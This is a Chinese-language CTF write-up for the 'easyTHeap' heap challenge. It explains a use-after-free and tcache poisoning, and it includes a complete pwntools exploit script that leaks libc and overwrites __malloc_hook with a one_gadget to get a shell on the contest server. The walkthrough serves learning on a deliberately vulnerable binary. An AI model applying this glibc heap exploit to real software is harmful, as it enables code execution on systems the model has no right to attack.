[V&N2020 公开赛]easyTHeap writeup

基本情况

保护全开

[*] '/ctf/work/vn_pwn_easyTHeap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

基本堆管理器,有增删查改功能。用 chunk_ptr_list 和 chunk_size_list 两个链表维护堆,堆数量实际上不由两个全局变量控制,而是受限于 chunk_ptr_list 是否有空位写入。全部功能操作都是基于下标去两个链表寻找对应地址操作的。

漏洞

在释放的时候没有将 chunk_ptr_list 对应位置置零,造成 UAF :

if ( v1 < 0 || v1 > 6 || !chunk_ptr_list[v1] )
exit(0);
free((void *)chunk_ptr_list[v1]);
chunk_size_list[v1] = 0;                      // chunk_ptr_list 没有置零

注意一点是 chunk_size_list 对应位置被置零了,也就是不能使用 edit 功能写入:

printf("content:");
read(0, (void *)chunk_ptr_list[v1], (unsigned int)chunk_size_list[v1]);

思路

  1. 泄露堆地址,计算出 tcache struct 地址
  2. 修改结构体中对应 size 的数量标志位,将堆释放进 unsorted bin 泄露出 libc 地址
  3. 将 tcache 相关数量标志位恢复,将链头地址修改为 malloc_hook ,后面就是常规操作

为记笔记方便,下面所有地址均不是同一运行调试所得 Orz

当程序释放第一个堆进 tcache 时会申请一块 0x240 的空间放 tcache struct ,里面记录各个 size 的数量和链头地址。

Allocated chunk | PREV_INUSE
Addr: 0x5555564b5000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x5555564b5250
Size: 0x91

然后连续两次释放 chunk0 ,chunk0 fd 指针就会记录自己的地址。(tcache bin 中不会崩):

pwndbg> bin
tcachebins
0x90 [  2]: 0x55555656b260 ◂— 0x55555656b260

用程序查询功能泄露地址,其与 tcache struct 偏移固定的。

再申请相同 size 的堆,分配的是 chunk0 所在的空间,通过 edit 将 chunk0 fd 覆盖为 tcache struct ,两次分配后将堆分配到结构体上面。

顺便 gdb 记一下结构体内容,因为需要对应修改某个地址的值,达到修改某个 size 对应的链表。当申请的 size 时,需要修改的位置也会不一样。

image-20201019011117803

这里将 0x01 修改为 0x07 (MAX_NUM) ,到达上限后再释放一个堆就开始放入 unsorted bin 。释放 chunk0 ,show 泄露 libc 地址。

完事后,edit chunk3 将结构体 0x07 恢复为 0x01 ,链首地址修改为 malloc_hook 地址,形成这样的效果:

# tcache bin 0x90 这条链表中只有 1 个堆,地址为 malloc_hook
pwndbg> bin
tcachebins
0x90 [  1]: [malloc_hook地址] ……

这样下次分配就会分配到 malloc_hook 。实测后这个题目需要结合 realloc 调整栈帧环境,让 onegadget 生效。

EXP

下面这个脚本是成功攻击远程的,与前面原理一样,只是做题的时候在 docker 环境做 main_arean 的偏移算出来和远程的 18 不相同。。。

这里就直接将 tcache 全部链表数量都改了,然后将 malloc_hook-8 放到任意链首,然后申请对应大小的 chunk 就能分配到 malloc_hook 上了

from pwn import *
context(log_level='debug',arch='amd64',
	terminal=['tmux','sp','-h'])

# p = process(["/glibc/2.27/64/lib/ld-2.27.so", "./vn_pwn_easyTHeap"], env={"LD_PRELOAD":"/glibc/2.27/64/lib/libc.so.6"})
# libc = ELF("/glibc/2.27/64/lib/libc.so.6")
elf = ELF("./vn_pwn_easyTHeap")
p = remote("node3.buuoj.cn",28954)
libc = ELF("./libc-2.27.so")

def new(size):
	p.recvuntil(": ")
	p.sendline("1")
	p.recvuntil("?")
	p.sendline(str(size))
def edit(id,content):
	p.recvuntil(": ")
	p.sendline("2")
	p.recvuntil("?")
	p.sendline(str(id))
	p.recvuntil(":")
	p.send(content)
def show(id):
	p.recvuntil(": ")
	p.sendline("3")
	p.recvuntil("?")
	p.sendline(str(id))
def delete(id):
	p.recvuntil(": ")
	p.sendline("4")
	p.recvuntil("?")
	p.sendline(str(id))

new(0x50) #0
delete(0)
delete(0)
show(0)
heap_base = u64(p.recvuntil(b'\n', drop = True).ljust(8, b'\x00'))

new(0x50) #1 -> chunk0
edit(1, p64(heap_base - 0x250))
new(0x50) #2 -> chunk0
new(0x50) #3 -> tcache struct
edit(3, 'a'*0x24)

delete(3)
show(3)
libc_base = u64(p.recvuntil(b'\n', drop = True).ljust(8, b'\x00')) - 0x3ebca0#0x3afca0
log.info("libc_base:"+hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
log.info("malloc_hook:"+hex(malloc_hook))
realloc = libc_base + libc.sym['__libc_realloc']
log.info(hex(realloc))
one = libc_base + 0x4f322
new(0x100)#4 -> tcache struct
edit(4, b'b' * 0x60 +  p64(malloc_hook - 8))
# gdb.attach(p)
new(0x50)
edit(5, p64(one) + p64(realloc+8))
new(0x10)
p.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值